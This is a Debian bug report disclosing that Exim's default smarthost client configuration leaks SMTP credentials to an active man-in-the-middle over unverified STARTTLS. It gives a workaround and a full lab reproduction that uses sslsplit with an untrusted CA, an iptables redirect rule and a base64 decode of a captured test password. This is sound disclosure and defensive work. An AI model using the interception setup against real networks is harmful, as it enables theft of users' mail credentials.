Bug#985344: exim4-config: Exim as a client leaks credentials to an active MITM

Jorrit Fahlke jorrit at jorrit.de
Tue Mar 16 11:28:20 GMT 2021


Package: exim4-config
Version: 4.92-8+deb10u4
Severity: important
Tags: security

Dear Maintainer,

When configured using the 'smarthost' or 'satellite' configuration from
exim4-config 4.92-8+deb10u4 (Debian 10 / buster), and with credentials
configured in /etc/exim4/passwd.client, Exim will reveal those credentials to
an active MITM (for instance, a rogue public wifi).

By default, Exim is configured to use opportunistic TLS.  It is also
configured to not send clear-text passwords over unencrypted connections,
allowing only CRAM-MD5 authentication method.  On encrypted connections
however (e.g. after STARTTLS succeeded), it will also allow PLAIN and LOGIN
methods.

For Exim, 'encrypted connection' does not imply 'certificate verification
succeeded'.  So an active MITM
- can intercept the TCP connection from the client Exim to the smarthost,
- act as an SMTP server towards the client,
- offer STARTTLS,
- when the client initiates STARTTLS, present any (possibly invalid)
  certificate,
- offer only PLAIN or LOGIN authentication methods, and
- require authentication before accepting mail.

Wenn submitting mail to the smarthost, the client Exim will then
oppertunistically make use of STARTTLS, and since the connection then counts
as encrypted, will happily authenticate using PLAIN or LOGIN, thus revealing
the credentials in plain to the attacker.

Workaround
==========

Set

  tls_verify_hosts = *

on the remote_smtp_smarthost transport.  Any encrypted connection for which
certificate verification fails will be closed, and the client Exim will retry
delivery on a new unencrypted connection.

Starting with Debian 11 (bullseye), you can alternatively set

  REMOTE_SMTP_SMARTHOST_TLS_VERIFY_HOSTS = *

in /etc/exim4/conf.d/main/000_localmacros, which will effectively do the same
thing as above.

Note: the above workaround is minimal, in practice, if you are affected, you
should probably also enforce encrypted connection (not just enforce successful
verification if a connection happens to be encrypted).  See Bug#985244
regarding that.  See also Bug#985243.

Details
=======

Since by default, Exim does not enforce encrypted connections (verified or
unverified), there is no expectation for the content of the connection (mail
envelope, headers, body) to be protected.

There is however an expectation for passwords to be protected.  From
`/usr/share/doc/exim4-config/README.Debian.gz`, §2.3. "SMTP-AUTH":

> AUTH PLAIN and AUTH LOGIN are disabled for connections which are not
> protected by SSL/TLS per default. These authentication methods use cleartext
> passwords, and allowing the transmission of cleartext passwords on
> unencrypted connections is a security risk. Therefore, the default
> configuration configures Exim not to use and/or allow AUTH PLAIN and AUTH
> LOGIN over unencrypted connections.

And later in §2.3.1. "Using Exim as SMTP-AUTH client":

> If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted connections
> because your service provider does support neither TLS encryption nor the
> CRAM MD5 authentication method, you can do so by setting the
> AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS macro.

If I'm reading this carefully, I might pick up on the fact that this does not
say the encrypted connection needs to be verified for cleartext authentication
methods to be allowed.  But it does not say that an unverified encrypted
connection is sufficient to allow them, either.  Just as passing cleartext
credentials over and unencrypted connection is a security risk, so is passing
them over an encrypted but unverified connection.  So even if I noticed that
this does not make a statement as to whether this connection needs to be
verified, I'd put that down to imprecise wording, and I'd still expect my
credentials not to be sent in cleartext over an unverified encrypted
connection.

Most people however will probably just be in a hurry to configure their Exim,
and just notice that thought was put into securing their passwords.  And thus
expect their passwords to be protected.

This expectation for passwords to be protected is violated.  As the
configuration system was made with "opportunistic encryption is better than no
encryption" in mind, certificates are not validated by default, and unverified
SSL is enough for the client to try PLAIN or LOGIN auth methods.  A MITM can
offer any certificate, and restrict authentication to PLAIN or LOGIN methods,
and the client host will happily divulge the password.

How to Reproduce
================

I checked that indeed passwords are leaked to an active MITM over unverified
encrypted connections using the following setup.  This setup is meant to model
e.g. a client Exim running on a laptop, connecting to the internet via a
public wifi under the control of the attacker.

I'm using three QEMU virtual machines connected via a VDE switch.
- client(.example.com) is the machine with the Exim under scrutiny.
- smarthost(.example.com) is used by the client to send mail
- (mail.)target(.com) is used as an external system to send mail to

The external target system is necessary since sending mail from client to
smarthost is not considered relaying, and thus the client is not asked to
authenticate.

What follows is a high-level overview over the setup, further details are in
the "Configuration Details" section below.

Basic test setup
----------------

All systems were installed from `debian-10.4.0-amd64-netinst.iso`, updating to
current Debian 10 (buster) from the debian mirrors.  Various additional
software was installed, as required.  To be able to intercept and sniff SSL
connections, sslsplit 0.5.5-1+b1 and dependencies was installed from Debian
testing (bullseye), as the version in buster was unusable due to a
segmentation fault.

I use one dnsmasq instance on each system to provide DNS services.  I provide
one A record each for smarthost.example.com and mail.target.com, plus an MX
record for target.com pointing to mail.target.com.

The client's Exim setup is initially a standard 'smarthost' configuration with
`smarthost.example.com` as the smarthost.  Credentials are provided to
authenticate against the smarthost.

The basic configuration for the smarthost is an 'internet' configtype, with
- some additions to function in the test environment,
- TLS and submissions support,
- support for plain, login, and cram_md5 authentication from clients, and
- a password configured for the client so it can authenticate.

The target system's setup is a normal internet site with hostname
mail.target.com, set up to accept mail for the `target.com` domain.

The certificate of the Exim server on the smarthost matches the hostname
smarthost.example.com.  It is signed by a CA created for the purpose of this
test, which the client has been configured to trust.

This setup can be used to verify basic functionality e.g. that the client is
able to sent mail via the smarthost to target.com when no attack is in
progress.

Attack setup
------------

I verified the attack by using sslsplit to intercept connections to the smtp
port on the smarthost, and by configuring the Exim on the smarthost to offer
only auth-plain.

sslplit was using a CA that was *not* trusted by the client, of course.
Reconfiguring the legitimate Exim to only offer auth-plain has the same effect
as an attacker stripping out any authentication methods other than AUTH PLAIN,
but had the advantage that I did not have to write a software to actually do
that.

I then sent a mail from the client to root at target.com, which requires
relaying and thus authentication on the smarthost:
```
client> exim4 -i root at target.com <<EOF
testmarker
EOF
```

The mail appeared on the target host:
```
target> grep testmarker /var/mail/mail
testmarker
```

On the smarthost, the smtp conversation was captured in the sslsplit logs and
the password could be recovered:
```
smarthost> cat /var/log/sslsplit/20200901T122925Z-10.0.3.2,60494-10.0.3.1,25.log
220 smarthost.example.com ESMTP Exim 4.92 Tue, 01 Sep 2020 08:29:25 -0400
EHLO client.example.com
250-smarthost.example.com Hello client.example.com [10.0.3.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
STARTTLS
220 TLS go ahead
EHLO client.example.com
250-smarthost.example.com Hello client.example.com [10.0.3.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN
250-CHUNKING
250-PRDR
250 HELP
AUTH PLAIN AGNsaWVudABzdXBlcnNlY3JldHBhc3N3b3Jk
[...]
smarthost> echo AGNsaWVudABzdXBlcnNlY3JldHBhc3N3b3Jk | base64 -d | tr '\0' :
:client:supersecretpassword
```

Configuration Details
=====================

Basic DNS configuration
-----------------------

dnsmasq was used to provide DNS services.  One instance was installed on each
system and provided the following configuration in
`/etc/dnsmasq.d/testconfig`:
```
address=/smarthost.example.com/$(<conf/smarthost.ip)
address=/mail.target.com/$(<conf/target.ip)
mx-host=target.com,mail.target.com,1
```

Certificates
------------

To have some certificates to test with, create a CA key and cert with
```
openssl genrsa -out demo-ca.key 2048
openssl req -new -nodes -x509						\
		-sha256	-out demo-ca.crt -key demo-ca.key	\
		-config ca_cert.cnf -extensions v3_ca		\
		-subj "$(cat conf/demo.subj)"				\
		-set_serial 0 -days 3650
```
where the content of  `ca_cert.cnf` is:
```
[ req ]
distinguished_name = reqdn

[ reqdn ]

[ v3_ca ]
basicConstraints        = CA:TRUE
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid:always,issuer:always
```

Install this CA on the client by copying the certificate to
`/usr/local/share/ca-certificates/demo-ca.crt` and running
`update-ca-certificates`.

For the smarthost certificate, create a key and a certificate request, then
use the CA to sign that request:
```
openssl genrsa -out smarthost.key 2048
openssl req -new -nodes -out smarthost.req -key smarthost.key	\
        -config smarthost_cert.cnf
rm -f smarthost.srl # ensure we use a random serial each time
openssl x509 -req -in smarthost.req -out smarthost.crt		\
        -CA demo-ca.crt -CAkey demo-ca.key -CAcreateserial	\
        -CAserial smarthost.srl
```
where the content of `smarthost_cert.cnf` is:
```
[ req ]
distinguished_name = req_distinguished_name
prompt = no
[ req_distinguished_name ]
countryName = US
commonName = smarthost.example.com
```

Client Exim Configuration
-------------------------

The basic configuration for the client is exactly what you'd get through
debconf-configuration with 'smarthost' configtype.

`/etc/exim4/update-exim4.conf.conf`:
```
dc_eximconfig_configtype='smarthost'
dc_other_hostnames='client.example.com'
dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/client.ip)'
dc_readhost=''
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='smarthost.example.com'
CFILEMODE='644'
dc_use_split_config='true'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'
```

`/etc/exim4/passwd.client`:
```
smarthost.example.com:client:$client_password
```

Smarthost Exim Configuration
----------------------------

`/etc/exim4/update-exim4.conf.conf`:
```
dc_eximconfig_configtype='internet'
dc_other_hostnames='smarthost.example.com'
dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/smarthost.ip)'
dc_readhost=''
dc_relay_domains='example.com'
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost=''
CFILEMODE='644'
dc_use_split_config='true'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'
```

In `/etc/exim4/conf.d/router/200_exim4-config_primary`, the item
`!10.0.3.0/24` must be prepended in front of the `ignore_target_hosts`
hostlist, so Exim won't refuse to deliver mail to the target host.

`/etc/exim4/exim.key`, `/etc/exim4/exim.crt`: The private key and certificate
for Exim, owned by `root:Debian-exim` and with permissions `640`.

TLS is enabled in `/etc/exim4/conf.d/main/000_localmacros` by adding:
```
MAIN_TLS_ENABLE = 1
```

Support for TLS-on-connect on the `submissions` port is enabled by dropping in
the file `/etc/exim4/conf.d/main/03_tls_on_connect` with content
```
tls_on_connect_ports = 465
```
and by appending
```
SMTPLISTENEROPTIONS='-oX 25:465:587 -oP /var/run/exim4/exim.pid'
```
to `/etc/default/exim4`.

Support for client authentication methods is enabled by adding the files
`/etc/exim4/conf.d/auth/30-$auth-server` for `$auth` in `plain`, `login` and
`cram_md5`.  The contents of these files was lifted from the respective
comments in `/etc/exim4/conf.d/auth/30_exim4-config_examples`.

A client password is set in `/etc/exim4/passwd`:
```
client:$(mkpasswd --method=sha512crypt "$(<conf/client.pass)"):$(<conf/client.pass)
```

Target Exim Configuration
-------------------------

`/etc/mailname`:
```
target.com
```

`/etc/exim4/update-exim4.conf.conf`:
```
dc_eximconfig_configtype='internet'
dc_other_hostnames='target.com'
dc_local_interfaces='127.0.0.1 ; ::1 ; $(< conf/target.ip)'
dc_readhost=''
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost=''
CFILEMODE='644'
dc_use_split_config='true'
dc_hide_mailname='false'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'
```

sslsplit configuration
----------------------

I let sslsplit run on the smarthost.  In practice it could run anywhere on the
route from client to smarthost, but the smarthost was a VM I already had set
up so it was convenient.

sslplit needs a CA to generate certificates on the fly for each connection.
I created the CA the same way I created the test CA under [Certificates][]
above (with the exception that the client was **not** told to trust this CA,
of course):
```
openssl genrsa -out sslsplit-ca.key 2048
openssl req -new -nodes -x509								\
		-sha256	-out sslsplit-ca.crt -key sslsplit-ca.key	\
		-config ca_cert.cnf -extensions v3_ca				\
		-subj "$(cat conf/sslsplit.subj)"					\
		-set_serial 0 -days 3650
```

The key and certificate were installed on the smarthost as
`/etc/sslsplit/ca.key` and `/etc/sslsplit/ca.crt`, respectively.

`/etc/sslsplit/sslsplit.conf`:
```
CAKey /etc/sslsplit/ca.key
CACert /etc/sslsplit/ca.crt
ConnectLog /var/log/sslsplit-connect.log
ContentLogDir /var/log/sslsplit
ProxySpec autossl $(<conf/smarthost.ip) 10025
```

Iptables rules were installed to intercept the traffic:
```
iptables -t nat -A PREROUTING -s $(<conf/client.ip)	\
	     -p tcp --dport 25							\
	     -j REDIRECT --to-ports 10025
```

A systemd service was installed as `/etc/systemd/system/sslsplit.service`:
```
[Unit]
StartLimitIntervalSec=0
[Service]
ExecStartPre=/usr/bin/mkdir -p /var/log/sslsplit
ExecStart=/usr/bin/sslsplit -f /etc/sslsplit/sslsplit.conf
# apparently sslsplit segfaults after one connection
Restart=always
RestartSec=0
```

And then started:
```
systemctl start sslsplit
```


This was initially reported 2020-09-04 to security at debian.org.

Regards,
Jorrit Fahlke.



-- Package-specific info:
Exim version 4.92 #5 built 13-May-2020 16:01:31
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DANE DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file search path is /etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
Configuration file is /var/lib/exim4/config.autogenerated

-- System Information:
Debian Release: 10.8
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'stable-debug'), (1, 'testing-debug'), (1, 'experimental-debug'), (1, 'experimental'), (1, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-0.bpo.3-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages exim4-config depends on:
ii  adduser                3.118
ii  debconf [debconf-2.0]  1.5.71

exim4-config recommends no packages.

exim4-config suggests no packages.

-- Configuration Files:
/etc/email-addresses changed [not included]
/etc/exim4/conf.d/router/200_exim4-config_primary changed [not included]
/etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost changed [not included]
/etc/exim4/passwd.client [Errno 13] Keine Berechtigung: '/etc/exim4/passwd.client'

-- debconf information excluded

-- 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-exim4-maintainers/attachments/20210316/e237237d/attachment.sig>


More information about the Pkg-exim4-maintainers mailing list